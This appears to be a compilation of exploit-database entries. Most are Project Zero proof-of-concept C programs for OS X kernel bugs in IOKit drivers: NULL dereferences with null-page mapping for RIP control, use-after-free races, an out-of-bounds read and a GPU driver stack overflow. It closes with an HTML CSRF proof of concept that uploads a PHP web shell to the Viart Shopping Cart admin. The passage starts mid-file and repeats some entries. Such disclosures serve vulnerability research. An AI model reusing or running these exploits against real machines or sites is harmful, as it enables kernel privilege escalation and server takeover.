   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc(){
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("IntelAccelerator", 6);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for(;;) {
    poc();
  }
  return 0;

}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=777

Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key.

If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check
the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL
page we can get trivial RIP control.

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/

// ianbeer

//clang -o CoreCaptureNull CoreCaptureNull.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL dereference in CoreCaptureResponder due to unchecked return value

Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key.

If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check
the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL
page we can get trivial RIP control.

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0;
  inputScalarCnt = 4;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 40960;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\xff';
  }

  *((uint64_t*)0x28) = 0xffffff4141414141;


  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("IOAudioEngine", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);

}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=732

This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.

Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.

This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
leading to a nice kernel memory disclosure.

Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/

//ianbeer

//build: clang -o hdix_race_get_set hdix_race_get_set.c -framework IOKit -framework Foundation -lpthread

/*
OS X/iOS kernel UAF racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient

This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.

Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.

This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
leading to a nice kernel memory disclosure.

Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <CoreFoundation/CoreFoundation.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[4096];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[4096] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  char* payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  global_conn = conn;
  selector = 4;
  inputScalarCnt = 0;
  inputStructCnt = strlen(payload)+1;
  strcpy((char*)inputStruct, payload);
  outputScalarCnt = 0;
  outputStructCnt = 0;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  for(;;) {
    int got_it = 0;
    while (!got_it) {
      got_it = OSSpinLockTry(&lock);
    }

    make_iokit_call();
  }
  return NULL;
}

int main(int argc, char** argv){
  kern_return_t err;
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);

  mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
                                                    IOServiceMatching("IOHDIXController"));

  mach_port_t conn = MACH_PORT_NULL;
  IOServiceOpen(service, mach_task_self(), 0, &conn);
  
  set_params(conn);
  for(;;) {
    OSSpinLockUnlock(&lock);
    CFTypeRef p = IORegistryEntryCreateCFProperty(service,
                                                  CFSTR("di-root-image-result"),
                                                  kCFAllocatorDefault,
                                                  0);
  }
  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=772

In IOAccelContext2::clientMemoryForType the lock_busy/unlock_busy should be extended to cover all the code
setting up shared memory type 2.

At the moment the lock doesn't protect two threads racing where one reaches
the release at +0x56AD (outside the lock) while the other is still using those raw pages via the raw pointer at
IOAccelContext+0x610 inside the locked region.

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/

// ianbeer

// clang -o ioaccel_mem_uaf ioaccel_mem_uaf.c -framework IOKit -framework CoreFoundation -lpthread


/*
OS X kernel use-after-free due to bad locking in IOAcceleratorFamily2

In IOAccelContext2::clientMemoryForType the lock_busy/unlock_busy should be extended to cover all the code
setting up shared memory type 2.

At the moment the lock doesn't protect two threads racing where one reaches
the release at +0x56AD (outside the lock) while the other is still using those raw pages via the raw pointer at
IOAccelContext+0x610 inside the locked region.

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/

#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>

#include <libkern/OSAtomic.h>
#include <mach/mach_error.h>

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>

io_connect_t get_user_client(const char* name, int type) {
  kern_return_t err;
  CFDictionaryRef matching;
  io_service_t service;

  // try IOServiceMatching
  matching = IOServiceMatching(name);
  service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
  
  if (service == MACH_PORT_NULL) {
    // try IOServiceNameMatching
    matching = IOServiceNameMatching(name);
    service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
  }

  if (service == MACH_PORT_NULL) {
    // try everything and look for a partial name match
    matching = IOServiceMatching("IOService");
    io_iterator_t iterator;
    IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
    
    int found_it = 0;
    while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
      io_name_t object_name;
      IOObjectGetClass(service, object_name);
      if (strstr(object_name, name)) {
        found_it = 1;
        break;
      }
      IOObjectRelease(service);
    }
    IOObjectRelease(iterator);

    if (!found_it) {
      // couldn't find any matches for the name anywhere
      return MACH_PORT_NULL;
    }
  }

  io_connect_t conn = MACH_PORT_NULL;

  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
    printf("IOServiceOpen failed: %s\n", mach_error_string(err));
    IOObjectRelease(service);
    return MACH_PORT_NULL;
  }
  IOObjectRelease(service);
  
  return conn;
}


kern_return_t ioconnect_map(io_connect_t conn, int type) {
  mach_vm_address_t addr = 0;
  mach_vm_size_t size = 0x1000;
  return IOConnectMapMemory64(
    conn,
    type,
    mach_task_self(),
    &addr,
    &size,
    kIOMapAnywhere
  );
}

kern_return_t ioconnect_unmap(io_connect_t conn, int type) {
  mach_vm_address_t addr = 0;
  mach_vm_size_t size = 0x1000;
  return IOConnectUnmapMemory64(
    conn,
    type,
    mach_task_self(),
    addr
  );
}

io_connect_t client = MACH_PORT_NULL;

void* poc(void* arg) {
  for (int i = 0 ; i < 1000; i++) {
    ioconnect_map(client, 2); 
  }
  return NULL;
}

int main(int argc, char** argv){
  for(;;){
    client = get_user_client("IntelAccelerator", 2);
    pthread_t t;
    pthread_create(&t, NULL, poc, NULL);
    poc(NULL);
    pthread_join(t, NULL);
    IOServiceClose(client);
  }
  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774

The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:

            ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]

handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:

    if ( reportType >= kIOHIDReportTypeCount )
              return kIOReturnBadArgument;

reportType is then used here:
        element = GetHeadElement( GetReportHandlerSlot(reportID),
                                  reportType);

        while ( element ) {
            shouldTickle |= element->shouldTickleActivity();
            changed |= element->processReport( reportID,

where GetHeadElement is defined as:

#define GetHeadElement(slot, type)  _reportHandlers[slot].head[type]

This leads to an OOB read off the head array followed by virtual function calls

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2

Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.

I can provide panic logs if required.
*/

// ianbeer

// clang -o hidlib_oob hidlib_oob.c -framework IOKit -framework CoreFoundation

/*
OS X kernel OOB read of object pointer due to insufficient checks in raw cast to enum type

The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:

            ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]

handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:

    if ( reportType >= kIOHIDReportTypeCount )
              return kIOReturnBadArgument;

reportType is then used here:
        element = GetHeadElement( GetReportHandlerSlot(reportID),
                                  reportType);

        while ( element ) {
            shouldTickle |= element->shouldTickleActivity();
            changed |= element->processReport( reportID,

where GetHeadElement is defined as:

#define GetHeadElement(slot, type)  _reportHandlers[slot].head[type]

This leads to an OOB read off the head array followed by virtual function calls

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2

Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.

I can provide panic logs if required.
*/

#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>

#include <libkern/OSAtomic.h>
#include <mach/mach_error.h>

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>

io_connect_t get_user_client(const char* name, int type) {
  kern_return_t err;
  CFDictionaryRef matching;
  io_service_t service;

  // try IOServiceMatching
  matching = IOServiceMatching(name);
  service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
  
  if (service == MACH_PORT_NULL) {
    // try IOServiceNameMatching
    matching = IOServiceNameMatching(name);
    service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
  }

  if (service == MACH_PORT_NULL) {
    // try everything and look for a partial name match
    matching = IOServiceMatching("IOService");
    io_iterator_t iterator;
    IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
    
    int found_it = 0;
    while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
      io_name_t object_name;
      IOObjectGetClass(service, object_name);
      if (strstr(object_name, name)) {
        found_it = 1;
        break;
      }
      IOObjectRelease(service);
    }
    IOObjectRelease(iterator);

    if (!found_it) {
      // couldn't find any matches for the name anywhere
      return MACH_PORT_NULL;
    }
  }

  io_connect_t conn = MACH_PORT_NULL;

  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
    printf("IOServiceOpen failed: %s\n", mach_error_string(err));
    IOObjectRelease(service);
    return MACH_PORT_NULL;
  }
  IOObjectRelease(service);
  
  return conn;
}

kern_return_t poc(io_connect_t client){  
  unsigned int selector;

  uint64_t inputScalar[16];
  size_t inputScalarCnt = 0;

  uint8_t inputStruct[4096];
  size_t inputStructCnt = 0; 

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  inputScalar[0] = 0xe0000000; // cast to an enum (int) and no lower-bounds check
  inputScalar[1] = 0x00a90000;
  inputScalar[2] = 0;

  inputScalarCnt = 3;

  outputStructCnt = 0x1000;

  selector = 12;

  return IOConnectCallMethod(
    client,
    selector,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt);
}


int main(int argc, char** argv){
  io_connect_t client = get_user_client("AppleUSBTCButtons", 0);
  if (client == MACH_PORT_NULL) {
    printf("no client\n");
    return 1;
  }

  poc(client);

  return 0; 
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=776

IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL

IOReturn IOAudioEngineUserClient::closeClient()
{
    audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this);

    if (audioEngine && !isInactive()) {
        if (isOnline()) {
            stopClient();
        }
        audioEngine->clientClosed(this);
        audioEngine = NULL;



External method 0 uses audioEngine without checking if it's NULL:

IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) {

  audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer); 
  IOAudioStream *         audioStream;
  IOReturn            result = kIOReturnBadArgument;
  
  audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer); 
  
  audioStream = audioEngine->getStreamForID(audioStreamIndex);


Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member:

IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) {
  IOAudioStream *     stream = NULL;

  assert(reserved);
  if (reserved->streams) {
    stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID));
  }

  return stream;
}

getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control.

tested on OS X 10.11.4 (15E65) MacBookAir 5,2
*/

// ianbeer

// clang -o ioaudio_race ioaudio_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in IOAudioEngine

IOAudioEngineUserClient::closeClient sets the audioEngine member pointer to NULL

IOReturn IOAudioEngineUserClient::closeClient()
{
    audioDebugIOLog(3, "+ IOAudioEngineUserClient[%p]::closeClient()\n", this);

    if (audioEngine && !isInactive()) {
        if (isOnline()) {
            stopClient();
        }
        audioEngine->clientClosed(this);
        audioEngine = NULL;



External method 0 uses audioEngine without checking if it's NULL:

IOReturn IOAudioEngineUserClient::safeRegisterClientBuffer(UInt32 audioStreamIndex, void * sourceBuffer, UInt32 bufSizeInBytes, UInt32 bufferSetID) {

  audioDebugIOLog(3, "IOAudioEngineUserClient::safeRegisterClientBuffer deprecated for 32 bit %p \n", sourceBuffer); 
  IOAudioStream *         audioStream;
  IOReturn            result = kIOReturnBadArgument;
  
  audioDebugIOLog(3, "+ IOAudioEngineUserClient::safeRegisterClientBuffer32 %p \n", sourceBuffer); 
  
  audioStream = audioEngine->getStreamForID(audioStreamIndex);


Whilst that isn't a virtual method, getStreamForID does call a virtual function on a member:

IOAudioStream * IOAudioEngine::getStreamForID(UInt32 streamID) {
  IOAudioStream *     stream = NULL;

  assert(reserved);
  if (reserved->streams) {
    stream = OSDynamicCast (IOAudioStream, reserved->streams->getObject(streamID));
  }

  return stream;
}

getObject is a virtual function, and reserved will be read from the NULL page giving us easy RIP control.

tested on OS X 10.11.4 (15E65) MacBookAir 5,2
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0;
  inputScalarCnt = 4;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 40960;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\xff';
  }

  *((uint64_t*)0x28) = 0xffffff4141414141;


  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("IOAudioEngine", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);

}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=724

nvAPIClient::Escape is the sole external method of nvAcclerator userclient type 0x2a0.
It implements its own method and parameter demuxing using the struct-in struct-out
buffers.

The second dword in the struct in buffer is another method identifier used in a switch
statement in ::Escape to choose the method to call. Method 24 is ::SetClocksShmoo.

On entry to this method rsi points to a buffer in kernel space with completely
user-controlled contents.

The uint16_t field at +0xc is used a loop count for the memory copying loop at
+0xff3e with insufficient bounds checking. The destination stack buffer is 0x520 bytes below the saved
frame pointer but the code only checks whether the value we provide (after bit shifting)
is greater than 0xff. Since each iteration of the loop writes 0x14 bytes we can actually
write up to 0x13ec bytes which is well over the size of the stack buffer which is being copied
into.

This bug is reachable from the safari renderer sandbox and the chrome gpu process sandbox
on device with the appropriate hardware (eg macbookpro)
*/

// ianbeer

// build: clang -o nv_shmoo nv_shmoo.c -framework IOKit
// tested on MacBookPro 10,1  w/10.11.3 (15D21)

/*
OS X kernel stack buffer overflow in GeForce gpu driver

nvAPIClient::Escape is the sole external method of nvAcclerator userclient type 0x2a0.
It implements its own method and parameter demuxing using the struct-in struct-out
buffers.

The second dword in the struct in buffer is another method identified used in a switch
statement in ::Escape to choose the method to call. Method 24 is ::SetClocksShmoo.

On entry to this method rsi points to a buffer in kernel space with completely
user-controlled contents.

The uint16_t field at +0xc is used a loop count for the memory copying loop at
+0xff3e with insufficient bounds checking. The destination stack buffer is 0x520 bytes below the saved
frame pointer but the code only checks whether the value we provide (after bit shifting)
is greater than 0xff. Since each iteration of the loop writes 0x14 bytes we can actually
write up to 0x13ec bytes which is well over the size of the stack buffer which is being copied
into.

This bug is reachable from the safari renderer sandbox and the chrome gpu process sandbox
on device with the appropriate hardware (eg macbookpro)
*/

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

uint64_t release_device_texture(mach_port_t conn) {
  kern_return_t err;
  
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;


  inputStructCnt = 4096;
  memset(inputStruct, 'A', inputStructCnt);

  *((uint32_t*)(inputStruct+0x0)) = 1;
  *((uint32_t*)(inputStruct+0x4)) = 24;    // ::setShmoo
  *((uint16_t*)(inputStruct+0xc)) = 0x1fe;

  outputStructCnt = 4096;

  err = IOConnectCallMethod(
   conn,
   0x0,
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
    printf("worked?\n");
  }
  
  return 0;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}



int main(int argc, char** argv){
  mach_port_t gl_context = get_user_client("IOAccelerator", 0x2a0);
  release_device_texture(gl_context);
  return 0;

}
            
<!--
# Exploit Title : Viart Shopping Cart 5.0 CSRF Shell Upload Vulnerability
# Date : 2016/06/12
# Google Dork : Script-Kiddie ;)
# Exploit Author : Ali Ghanbari
# Vendor Homepage : http://www.viart.com/
# Software Link  : http://www.viart.com/php_shopping_cart_free_evaluation_download.html
# Version : 5.0


#POC
-->

<html>
  <body onload="submitRequest();">
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/admin/admin_fm_upload_files.php", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
        xhr.withCredentials = "true";
        var body = "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"dir_root\"\r\n" +
          "\r\n" +
          "../images\r\n" +
          "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"newfile_0\"; filename=\"[shell.php]\"\r\n" +
          "Content-Type: application/x-php\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------256672629917035--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
  </body>
</html>

<!--
#Desc:

upload exploit code in your host and send link to admin when admin click on link, you can
access to your shell from below path :

http://localhost/images/[your shell]

####################################
 
[+]Exploit by: Ali Ghanbari

[+]My Telegram :@Exploiter007  
-->